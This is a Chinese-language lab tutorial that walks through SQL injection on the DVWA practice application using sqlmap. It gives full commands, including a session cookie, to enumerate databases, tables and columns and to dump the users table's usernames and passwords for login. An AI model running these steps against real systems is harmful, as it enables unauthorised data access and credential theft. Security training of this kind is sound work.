一、漏洞概述
SQL(Structured Query Language)是一種結構化的查詢語言,用於與數據庫進行交互並能夠被數據庫解析。SQL注入即是指web應用程序對用戶輸入數據的合法性過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,來實執行非授權的任意查詢,從而得到相應的數據信息。
二、工具
firefox,sqlmap
三、測試過程
1、首先我們進入界面,隨意輸入user id進行測試,然后按F12獲取提交時的url(或者使用抓包工具抓取):
URL:http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
2、使用sqlmap檢測是否存在注入點
輸入命令 :
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#"
可以看到對獲取到的url進行檢測后,會302重定向到登錄的url,說明我們檢測的url必須帶有登錄權限才能驗證,因此我們的命令中需要帶上登錄dvwa后的cookie信息。
調整命令后再次檢測:
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" --batch
3、查看當前鏈接的數據庫
輸入命令
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" --batch --current-db
4、獲取當前數據庫中的所有數據表
輸入命令:
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa --tables
5、我們查看user表中的所有列
輸入命令
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa -T users --columns
可以很明顯的看出user和password是我們需要的信息
6、導出指定數據表中指定的列
輸入命令
python27 sqlmap.py -u "http://192.168.2.121/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=t981a2us0vg72ep4tqauiqrub2" -D dvwa -T users -C "user,password" --dump
現在我們只要任取一組在登錄頁面驗證即可。